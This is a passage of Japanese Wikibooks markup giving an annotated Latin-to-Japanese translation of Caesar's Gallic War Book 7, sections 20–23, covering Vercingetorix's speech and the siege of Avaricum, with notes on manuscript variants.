*quae iam esset sibi atque omnibus [[wikt:en:Galli#Latin|Gallis]] [[wikt:en:exploratus#Latin|explorata]]; 
**&lt;small&gt;（勝利は）&lt;/small&gt;もはや自分とすべてのガッリア人にとって確実なものとされているのだ。
*quin etiam ipsis &lt;u&gt;remittere&lt;/u&gt;, 
**いやそればかりか&lt;small&gt;（以下の様であれば、ガッリア人たち）&lt;/small&gt;自身に&lt;small&gt;（司令官職を）&lt;/small&gt;返還しているだろう。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の [[wikt:en:remitto#Latin|remittere]] は、写本Sの記述および&amp;nbsp;''[[ガリア戦記/注解編/写本と校訂版#Stephanus_(Estienne)|Stephanus]]'' や ''[[ガリア戦記/注解編/写本と校訂版#Vascosanus|Vascosanus]]'' による修正提案で、&lt;br&gt;　　　　　　　　　&amp;beta;系・&amp;chi;系写本･写本B･M･L･N では [[wikt:en:remitteret#Latin|remitteret]] となっている。）&lt;/span&gt;
*si sibi &lt;u&gt;magis&lt;/u&gt; [[wikt:en:honor#Latin|honorem]] [[wikt:en:tribuo#Latin|tribuere]], &lt;u&gt;quam&lt;/u&gt; ab se [[wikt:en:salus#Latin|salutem]] [[wikt:en:accipio#Latin|accipere]] [[wikt:en:videantur#Latin|videantur]]. 
**もし&lt;small&gt;（ガッリア人が）&lt;/small&gt;自分から安全を受け取っているよりも、むしろ顕職を自分に授けていると思っているのならば、だが。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:magis#Latin|magis]] ～, quam …「…というよりは、むしろ～」）&lt;/span&gt;
:　
;　　　捕虜のローマ人たちに訊いてみなさい
*&lt;!--❽--&gt;&lt;sup&gt;(8)&lt;/sup&gt; &lt;!--▲直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color:#009900;&quot;&gt;«&lt;/span&gt;&amp;nbsp;Haec ut [[wikt:en:intellegatis#Latin|intellegatis]], &lt;span style=&quot;color:#009900;&quot;&gt;»&lt;/span&gt;&amp;nbsp;&lt;/span&gt; [[wikt:en:inquit#Latin|inquit]], &lt;!--▲直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color:#009900;&quot;&gt;«&lt;/span&gt;&amp;nbsp;a me [[wikt:en:sincere#Latin|sincere]] [[wikt:en:pronuntiari#Latin|pronuntiari]], [[wikt:en:audite#Latin|audite]] [[wikt:en:Romanus#Adjective|Romanos]] [[wikt:en:miles#Latin|milites]]. &lt;span style=&quot;color:#009900;&quot;&gt;»&lt;/span&gt;&amp;nbsp;&lt;/span&gt;
**「これらは諸君が理解しているように、私により率直に示された。ローマ兵たちに聞いてみよ」と言った。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：&lt;!--▲直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color:#009900;&quot;&gt;«&lt;/span&gt;　～　&lt;span style=&quot;color:#009900;&quot;&gt;»&lt;/span&gt;&amp;nbsp;&lt;/span&gt; の箇所は、直接話法で記されている。）&lt;/span&gt;
:　
*&lt;!--❾--&gt;&lt;sup&gt;(9)&lt;/sup&gt; [[wikt:en:producit#Latin|Producit]] [[wikt:en:servus#Latin|servos]], quos in [[wikt:en:pabulatio#Latin|pabulatione]] paucis ante diebus [[wikt:en:exceperat#Latin|exceperat]] et [[wikt:en:fames#Latin|fame]] [[wikt:en:vinculum#Latin|vinculis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:excruciaverat#Latin|excruciaverat]]. 
**数日前に糧秣徴発しているのを&lt;small&gt;（彼が）&lt;/small&gt;ひっ捕らえて、飢えと鎖で拷問していたところの奴隷たちを引き出す。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[wikt:en:calo#Noun_5|cālō]] カーロー（軍属奴隷）と呼ばれる輜重や陣営を管理する奴隷たちのことであろう。）&lt;/span&gt;
:　
*&lt;!--❿--&gt;&lt;sup&gt;(10)&lt;/sup&gt; Hi iam ante [[wikt:en:edoctus#Latin|edocti]], quae [[wikt:en:interrogatus#Latin|interrogati]] [[wikt:en:pronuntiarent#Latin|pronuntiarent]], 
**彼ら&lt;small&gt;〔奴隷〕&lt;/small&gt;は、すでに前もって&lt;small&gt;（ガッリア勢から）&lt;/small&gt;訊問された際に語ることを&lt;small&gt;（ローマ人から）&lt;/small&gt;教え込まれており、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カエサルは奴隷たちが誰に教え込まれたのか明記していないため、&lt;br&gt;　　　　ウェルキンゲトリークスに教え込まれたと訳している場合もある。）&lt;/span&gt;
*[[wikt:en:miles#Latin|milites]] se esse [[wikt:en:legionarius#Latin|legionarios]] [[wikt:en:dicunt#Latin|dicunt]]; 
**自分たちは[[w:軍団兵|軍団兵]]であると言った。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：糧秣徴発に出かけていた者は、たとえ軍団兵でも軽装であったであろうが、&lt;br&gt;　　　　奴隷たちは、もともと戦争で捕虜になったガッリア人たち等であったと考えられるので、&lt;br&gt;　　　　地中海人種のローマ人とは容易に見分けが付きそうなものではある。）&lt;/span&gt;
*[[wikt:en:fames#Latin|fame]] &lt;u&gt;et&lt;/u&gt; [[wikt:en:inopia#Noun_2|inopia]] [[wikt:en:adductus#Latin|adductos]] [[wikt:en:clam#Latin|clam]] ex castris [[wikt:en:exisse#Latin|exisse]], si [[wikt:en:aliquis#Latin|quid]] [[wikt:en:frumentum#Latin|frumenti]] aut [[wikt:en:pecus#Latin|pecoris]] in agris [[wikt:en:reperio#Latin|reperire]] [[wikt:en:possent#Latin|possent]]; 
**&lt;small&gt;（奴隷たち曰く）&lt;/small&gt;飢えと欠乏に動かされて、何か穀物または家畜が野に見出せないかと、ひそかに陣営から抜け出した。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：et は&amp;alpha;系写本の記述で、&amp;beta;系写本では atque となっている。）&lt;/span&gt;
:　
*&lt;!--⓫--&gt;&lt;sup&gt;(11)&lt;/sup&gt; [[wikt:en:similis#Latin|simili]] omnem [[wikt:en:exercitus#Noun|exercitum]] [[wikt:en:inopia#Noun_2|inopia]] [[wikt:en:premi#Latin|premi]], 
**&lt;small&gt;（ローマ人の）&lt;/small&gt;全軍隊が同様の欠乏に悩まされて、
*&lt;u&gt;nec&lt;/u&gt; iam [[wikt:en:vis#Latin|vires]] [[wikt:en:sufficio#Latin|sufficere]] [[wikt:en:quisquam#Latin|cuiusquam]] &lt;u&gt;nec&lt;/u&gt; ferre [[wikt:en:opus#Latin|operis]] [[wikt:en:labor#Latin|laborem]] posse; 
**もはや&lt;small&gt;（兵士の）&lt;/small&gt;誰もが十分な能力がなく、&lt;small&gt;（城攻めの）&lt;/small&gt;作業の労苦に耐えることができない。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：nec ～ nec …「～でもなく、…でもない」）&lt;/span&gt;
*itaque [[wikt:en:statuisse#Latin|statuisse]] [[wikt:en:imperator#Latin|imperatorem]], si [[wikt:en:nihil#Latin|nihil]] in [[wikt:en:oppugnatio#Latin|oppugnatione]] oppidi &lt;u&gt;profecissent&lt;/u&gt;, [[wikt:en:triduum#Latin|triduo]] [[wikt:en:exercitus#Noun|exercitum]] [[wikt:en:deduco#Latin|deducere]]. 
**こうして将軍&lt;small&gt;〔カエサル〕&lt;/small&gt;は、もし城塞都市の攻略において何ら得られないならば、3日間で軍隊を連れ帰ると決めた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、写本S･L･Nでは [[wikt:en:profecissent#Latin|profecissent]]&lt;sub&gt;&amp;nbsp;(3人称･&lt;u&gt;複数&lt;/u&gt;･過去完了･接続法)&lt;/sub&gt; だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:profecisset#Latin|profecisset]]&lt;sub&gt;&amp;nbsp;(3人称･&lt;u&gt;単数&lt;/u&gt;･過去完了･接続法)&lt;/sub&gt; となっており、&lt;br&gt;　　　　　　　　　&amp;chi;系および写本B･Mでは proficissent という綴りになっている。）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--⓬--&gt;&lt;sup&gt;(12)&lt;/sup&gt; &lt;!--▲直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color:#009900;&quot;&gt;«&lt;/span&gt;&amp;nbsp;Haec, &lt;span style=&quot;color:#009900;&quot;&gt;»&lt;/span&gt;&amp;nbsp;&lt;/span&gt; [[wikt:en:inquit#Latin|inquit]], &lt;!--▲直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color:#009900;&quot;&gt;«&lt;/span&gt;&amp;nbsp;a me, &lt;span style=&quot;color:#009900;&quot;&gt;»&lt;/span&gt;&amp;nbsp;&lt;/span&gt; [[wikt:en:Vercingetorix#Latin|Vercingetorix]], 
**「これぞ」「私によって」とウェルキンゲトリークスは言った。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：以下、&lt;!--▲直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color:#009900;&quot;&gt;«&lt;/span&gt;　～　&lt;span style=&quot;color:#009900;&quot;&gt;»&lt;/span&gt;&amp;nbsp;&lt;/span&gt; の箇所は、直接話法で記されている。）&lt;/span&gt;
*&lt;!--▲直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color:#009900;&quot;&gt;«&lt;/span&gt;&amp;nbsp;[[wikt:en:beneficium#Latin|beneficia]] [[wikt:en:habetis#Latin|habetis]], quem [[wikt:en:proditio#Latin|proditionis]] [[wikt:en:insimulatis#Verb|insimulatis]]; &amp;nbsp;
**「裏切りだと諸君が糾弾している&lt;small&gt;（私という）&lt;/small&gt;者のおかげで得ているのだ。
*&lt;!--➡直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp; cuius [[wikt:en:opera#Latin|opera]] sine [[wikt:en:vester#Latin|vestro]] [[wikt:en:sanguis#Latin|sanguine]] &amp;nbsp;
**その&lt;small&gt;（私という）&lt;/small&gt;者の尽力により、諸君らの流血なしに、
*&lt;!--➡直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp; tantum [[wikt:en:exercitus#Noun|exercitum]] [[wikt:en:victor#Latin|victorem]] [[wikt:en:fames#Latin|fame]] &lt;u&gt;paene&lt;/u&gt; [[wikt:en:consumptus#Latin|consumptum]] [[wikt:en:videtis#Latin|videtis]]; &amp;nbsp;
**これほどの軍隊の勝利者&lt;small&gt;〔ローマ人〕&lt;/small&gt;を飢えにより、ほとんど滅ぼしたのを諸君は見ているのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：paene は &amp;beta;系写本の記述で、&amp;alpha;系写本にはない。）&lt;/span&gt;
*&lt;!--➡直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp; quem [[wikt:en:turpiter#Latin|turpiter]] se ex &lt;u&gt;hac&lt;/u&gt; fuga [[wikt:en:recipiens#Latin|recipientem]] &amp;nbsp;
**彼ら&lt;small&gt;〔ローマ人〕&lt;/small&gt;が見苦しくもこのような逃亡から退却したところを、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：hac は &amp;beta;系写本の記述で、&amp;alpha;系写本にはない。）&lt;/span&gt;
*&lt;!--➡直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp; ne [[wikt:en:aliqua#Pronoun|qua]] [[wikt:en:civitas#Latin|civitas]] suis finibus [[wikt:en:recipiat#Latin|recipiat]], &amp;nbsp;
**&lt;small&gt;（それらの退却したローマ人を）&lt;/small&gt;どの部族も自らの領土に受け入れないように、
*&lt;!--➡直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp; a me [[wikt:en:provisus#Latin|provisum]] est. &lt;span style=&quot;color:#009900;&quot;&gt;»&lt;/span&gt;&amp;nbsp;&lt;/span&gt;
**私&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;により、手配された。」
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===21節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/21節]]　{{進捗|00%|2026-05-10}}&lt;/span&gt;
;ウェルキンゲトリークスの誠心とアウァーリクムの重要性を確認
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:conclamat#Latin|Conclamat]] omnis [[wikt:en:multitudo#Latin|multitudo]] 
**群集すべてが雄叫びを上げて、
*et suo [[wikt:en:mos#Latin|more]] [[wikt:en:arma#Latin|armis]] [[wikt:en:concrepat#Latin|concrepat]], 
**自分たちの慣習で武具を打ち鳴らす。
*quod facere in eo [[wikt:en:consuerunt#Verb_2|consuerunt]], cuius [[wikt:en:oratio#Latin|orationem]] [[wikt:en:adprobant#Latin|adprobant]]; 
**&lt;small&gt;（演説した）&lt;/small&gt;その者の雄弁に賛同したら、その者に対してそれをすることが常であったのだ。
*summum esse [[wikt:en:Vercingetorix#Latin|Vercingetorigem]] [[wikt:en:dux#Latin|ducem]], 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は最高の将帥であり、
*&lt;u&gt;nec&lt;/u&gt; de eius [[wikt:en:fides#Latin|fide]] [[wikt:en:dubitandus#Latin|dubitandum]], 
**彼の信義については疑念を抱くべきではなく、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:nec#Latin|nec]] ～, nec …「～でもないし、…でもない」）&lt;/span&gt;
*&lt;u&gt;nec&lt;/u&gt; [[wikt:en:maior#Latin|maiore]] [[wikt:en:ratio#Latin|ratione]] bellum [[wikt:en:administrari#Latin|administrari]] posse. 
**これ以上の作戦で戦争を指導することはできない&lt;small&gt;（と、叫んで武具を打ち鳴らす）&lt;/small&gt;。
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:statuunt#Latin|Statuunt]], ut decem&lt;sub&gt;&amp;nbsp;(X)&lt;/sub&gt; milia hominum [[wikt:en:delectus#Latin|delecta]] ex omnibus [[wikt:en:copiae#Latin|copiis]] in oppidum &lt;u&gt;mittantur&lt;/u&gt;,  
**&lt;small&gt;（彼らは）&lt;/small&gt;すべての軍勢から選り抜かれた兵員1万を&lt;small&gt;（アウァーリクムの）&lt;/small&gt;[[w:オッピドゥム|城塞都市]]の中に派遣すると決定する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:mittantur#Latin|mittantur]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:submittantur#Latin|submittantur]] となっている。）&lt;/span&gt;
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; nec [[wikt:en:solus#Latin|solis]] [[wikt:en:Bituriges#Latin|Biturigibus]] [[wikt:en:communis#Latin|communem]] [[wikt:en:salus#Latin|salutem]] [[wikt:en:committendus#Latin|committendam]] [[wikt:en:censent#Latin|censent]], 
**&lt;small&gt;（ガッリア）&lt;/small&gt;共通の安全をビトゥリゲース族だけに託すべきではないと考える。
*quod &lt;u&gt;penes eos&lt;/u&gt;, si id oppidum [[wikt:en:retinuissent#Latin|retinuissent]], 
**というのは、&lt;u&gt;彼らのもとで&lt;/u&gt;、その城塞都市を維持したか否かが、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&lt;br&gt;　　　　主要写本&amp;omega; では [[wikt:en:penes#Latin|penes]] eos 「彼らのもとで」だが、&lt;br&gt;　　　　オックスフォード写本 ''[[ガリア戦記/注解編/写本と校訂版#Codex_Oxoniensis_Andino|codd. Andino. Oxon.]]'' や ''[[ガリア戦記/注解編/写本と校訂版#Aldus|Aldus]]'' は paene in eo 「ほぼそのことにおいて」としている。）&lt;/span&gt;
*[[wikt:en:summa#Latin|summam]] victoriae [[wikt:en:consto#Latin|constare]] [[wikt:en:intellegebant#Latin|intellegebant]].
**勝利の天王山を確かなものにすること、を理解していたからである。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===22節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/22節]]　{{進捗|00%|2026-06-01}}&lt;/span&gt;
;アウァーリクムの籠城ガッリア勢が坑道戦で攻防に努める
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:singularis#Latin|Singulari]] [[wikt:en:miles#Latin|militum]] nostrorum [[wikt:en:virtus#Latin|virtuti]] 
**我が方&lt;small&gt;〔ローマ勢〕&lt;/small&gt;の兵士の卓越した武勇に、
*[[wikt:en:consilium#Latin|consilia]] [[wikt:en:quisque#Latin|cuiusque]] [[wikt:en:modus#Latin|modi]] [[wikt:en:Galli#Latin|Gallorum]] [[wikt:en:occurrebant#Latin|occurrebant]], 
**&lt;small&gt;（敵勢は）&lt;/small&gt;ガッリア人のあらゆる流儀の方策で抗戦していた。
*ut est summae [[wikt:en:genus#Latin|genus]] [[wikt:en:sollertia#Latin|sollertiae]] 
**確かに&lt;small&gt;（ガッリア人は）&lt;/small&gt;このうえなく器用な種族であり、
*atque ad [[wikt:en:omnia#Noun|omnia]] [[wikt:en:imitandus#Latin|imitanda]] et [[wikt:en:efficiendus#Latin|efficienda]], quae ab [[wikt:en:quisque#Latin|quoque]] [[wikt:en:traduntur#Latin|traduntur]], [[wikt:en:aptissimus#Latin|aptissimum]]. 
**誰かによって教えられることすべてを模倣すること、造り出すことにとても適しているのだ。
:　
;　　　鉄鉱山の土地柄で、坑道戦を展開する
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Nam &lt;u&gt;et&lt;/u&gt; [[wikt:en:laqueus#Latin|laqueis]] [[wikt:en:falx#Latin|falces]] [[wikt:en:avertebant#Latin|avertebant]], 
**すなわち、輪縄で&lt;small&gt;（ローマ勢の）&lt;/small&gt;破城鎌をそらし、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：et ～, et …「～でもあり、…でもある」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：破城鎌（[[w:en:Falx|falx]]）については、右図や[[ガリア戦記 第5巻#42節|第5巻42節]]を参照）&lt;/span&gt;
[[画像:Falx_bgiu.png|thumb|right|250px|破城鎌（[[w:en:Falx|falx]]）の想像画（再掲）]] 
[[画像:Doura_Europos_tunnel.jpg|thumb|right|250px|ローマ支配下の城砦跡に残る[[w:坑道|坑道]]の例（シリアの[[w:ドゥラ・エウロポス|ドゥラ・エウロポス]]遺跡）。[[w:サーサーン朝|サーサーン朝]]軍が[[w:坑道戦|坑道戦]]のために掘削したと考えられている。]]
*quas, cum [[wikt:en:destinaverant#Latin|destinaverant]], 
**それを縛り付けておいてから、
*[[wikt:en:tormentum#Latin|tormentis]] [[wikt:en:introrsus#Latin|introrsus]] [[wikt:en:reducebant#Latin|reducebant]], 
**巻揚げ機で&lt;small&gt;（城塞都市の）&lt;/small&gt;内部に引き込んでいたし、
*&lt;u&gt;et&lt;/u&gt; [[wikt:en:agger#Latin|aggerem]] [[wikt:en:cuniculus#Latin|cuniculis]] [[wikt:en:subtrahebant#Latin|subtrahebant]], 
**&lt;small&gt;（ローマ勢の）&lt;/small&gt;&lt;ruby&gt;&lt;rb&gt;[[w:アッゲル|土塁]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; を[[w:坑道|坑道]]によって陥没させたりもした。
*&lt;u&gt;eo&lt;/u&gt; [[wikt:en:scienter#Latin|scientius]] 
**&lt;small&gt;（以下の理由により、彼らはそのことに）&lt;/small&gt;より習熟しているのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:eo#Pronoun_5|eō]] ～ [[wikt:en:quod#Conjunction|quod]] …「…という理由で～」）&lt;/span&gt;
*&lt;u&gt;quod&lt;/u&gt; apud eos magnae sunt [[wikt:en:ferraria#Latin|ferrariae]] 
**──というのも、彼らのもとには多くの[[w:鉄鉱石|鉄鉱]]山があり、
*atque [[wikt:en:omnis#Latin|omne]] [[wikt:en:genus#Latin|genus]] [[wikt:en:cuniculus#Latin|cuniculorum]] [[wikt:en:notus#Latin|notum]] 
**坑道のあらゆる類いが知られていて
*atque [[wikt:en:usitatus#Latin|usitatum]] est. 
**慣れていただけに&lt;small&gt;（習熟しているのだ）&lt;/small&gt;。──
:　
;　　　アウァーリクムの全周に防御のための櫓を建てる
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:totus#Latin|Totum]] autem [[wikt:en:murus#Latin|murum]] ex omni parte 
**他方で、城壁の全体をあらゆる方向から、
*[[wikt:en:turris#Latin|turribus]] [[wikt:en:contabulaverant#Latin|contabulaverant]] 
**&lt;ruby&gt;&lt;rb&gt;[[w:攻城塔|攻城櫓]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トゥッリス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;small&gt;（何層にも）&lt;/small&gt;構築しておいて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：動詞 [[wikt:en:contabulo#Latin|contabulare]] は「板張りする」。[[内乱記_第2巻#9節|『内乱記』第2巻9節]]には [[wikt:en:contabulatio#Latin|contabulatio]]「床板張り」という単語が出て来る。）&lt;/span&gt;
*atque has [[wikt:en:corium#Latin|coriis]] [[wikt:en:intexerant#Latin|intexerant]]. 
**これらを皮革で覆っていた。
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Tum [[wikt:en:creber#Latin|crebris]] [[wikt:en:diurnus#Latin|diurnis]] [[wikt:en:nocturnus#Latin|nocturnis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:eruptio#Latin|eruptionibus]] 
**それから、たびたび昼間も夜間も出撃して、
*aut [[wikt:en:agger#Latin|aggeri]] [[wikt:en:ignis#Latin|ignem]] [[wikt:en:inferebant#Latin|inferebant]] 
**あるいは土塁に火災を引き起こしたり、
*aut [[wikt:en:miles#Latin|milites]] [[wikt:en:occupatus#Latin|occupatos]] in [[wikt:en:opus#Latin|opere]] [[wikt:en:adoriebantur#Latin|adoriebantur]], 
**あるいは工事に従事している&lt;small&gt;（ローマ人）&lt;/small&gt;兵士たちを襲撃したりした。
[[画像:University_of_Queensland_Pitch_drop_experiment-white_bg.jpg|thumb|right|200px|&lt;ruby&gt;&lt;rb&gt;[[w:ピッチ (樹脂)|樹脂]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ピッチ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の滴下実験の様子（豪州[[w:クイーンズランド大学|クイーンズランド大学]]）。[[w:木材|木材]]を密閉加熱すると[[w:木炭|木炭]]が得られるが、その残り物から[[w:乾留液#木タール|木タール]]を[[w:蒸留|蒸留]]させた残り&lt;ruby&gt;&lt;rb&gt;滓&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;かす&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;がピッチである。樹木から得られるピッチは、黒色で[[w:粘度|粘っこく]]、高温で燃焼する。中世ヨーロッパでは城砦の防衛に使用され、城壁に近づく敵の上から熱したピッチを注いで焼死させたりしたという（[[w:fr:Poix (matière)|fr:poix]]）。]]
*et nostrarum [[wikt:en:turris#Latin|turrium]] [[wikt:en:altitudo#Latin|altitudinem]], 
**我が方&lt;small&gt;〔ローマ勢〕&lt;/small&gt;の[[w:攻城塔|攻城櫓]]の高さを、
*[[wikt:en:quantum#Latin|quantum]] has [[wikt:en:cotidianus#Latin|cotidianus]] agger [[wikt:en:expresserat#Latin|expresserat]], 
**毎日のようにこれらを&lt;small&gt;（ローマ側の）&lt;/small&gt;土塁が押し出した分だけ、
*[[wikt:en:commissus#Latin|commissis]] suarum [[wikt:en:turris#Latin|turrium]] [[wikt:en:malus#Noun_5|malis]] [[wikt:en:adaequabant#Latin|adaequabant]], 
**自分たち&lt;small&gt;〔ガッリア勢〕&lt;/small&gt;の櫓を、柱を組み立てることにより、&lt;small&gt;（ローマ側の櫓の高さと）&lt;/small&gt;等しくしようとした。
:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; et [[wikt:en:apertus#Latin|apertos]] [[wikt:en:cuniculus#Latin|cuniculos]] 
**&lt;small&gt;（ローマ勢が掘削した）&lt;/small&gt;坑道の露出したところを
*[[wikt:en:praeustus#Latin|praeusta]] et [[wikt:en:praeacutus#Latin|praeacuta]] [[wikt:en:materia#Latin|materia]] 
**先端を焼いて尖らせた木材や、
*et [[wikt:en:pix#Latin|pice]] [[wikt:en:fervefactus#Latin|fervefacta]] 
**熱した&lt;ruby&gt;&lt;rb&gt;[[w:ピッチ (樹脂)|樹脂]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ピッチ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;や、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：pix は&lt;ruby&gt;&lt;rb&gt;[[w:歴青|瀝青]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;れきせい&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;と訳されることもあるが、とくに[[w:ピッチ (樹脂)|ピッチ]]を指す&lt;ref&gt;[https://kotobank.jp/word/%E6%9C%A8%E3%81%9F%E3%83%BC%E3%82%8B-3173189 木タール] などを蒸留したあとに残る黒色の物質。&lt;/ref&gt;。&lt;br&gt;　　　　[[w:歴青|瀝青]]は「ビチューメン」ともいい、ラテン語の [[wikt:en:bitumen#Latin|bitūmen]] に由来する。&lt;br&gt;　　　　[[w:ピッチ (樹脂)|ピッチ]]（[[w:en:Pitch (resin)|Pitch]]）は、ラテン語の [[wikt:en:pix#Latin|pix]] に由来する。）&lt;/span&gt;
*et [[wikt:en:maximus#Latin|maximi]] [[wikt:en:pondus#Latin|ponderis]] [[wikt:en:saxum#Latin|saxis]] [[wikt:en:morabantur#Etymology_1|morabantur]] 
**たいへんな重さの岩石で、&lt;small&gt;（ローマ勢の掘削を）&lt;/small&gt;滞らせたり、
*[[wikt:en:moenia#Latin|moenibus]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:adpropinquo#Latin|adpropinquare]] [[wikt:en:prohibebant#Latin|prohibebant]].
**&lt;small&gt;（ローマ勢が）&lt;/small&gt;城壁に接近することを&lt;small&gt;（ガッリア勢が）&lt;/small&gt;妨げたりしていた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;
===23節===
{{Commons|Category:Murus gallicus|Murus gallicus}}
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/23節]]　{{進捗|00%|2026-06-14}}&lt;/span&gt;

;ガッリア式城壁の構造
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:murus#Latin|Muri]] autem omnes [[wikt:en:Gallicus#Latin|Gallici]] hac fere [[wikt:en:forma#Latin|forma]] sunt. 
**ところで、ガッリアの&lt;ruby&gt;&lt;rb&gt;城壁&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ムルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;のすべては、ほぼ以下のような形態である。
:　
;　　　木材を2ペースずつ等間隔で離して、ずっと並べていく
*&lt;u&gt;Trabes&lt;/u&gt; [[wikt:en:derectus#Latin|derectae]] [[wikt:en:perpetuus#Latin|perpetuae]] &lt;u&gt;in longitudinem&lt;/u&gt; 
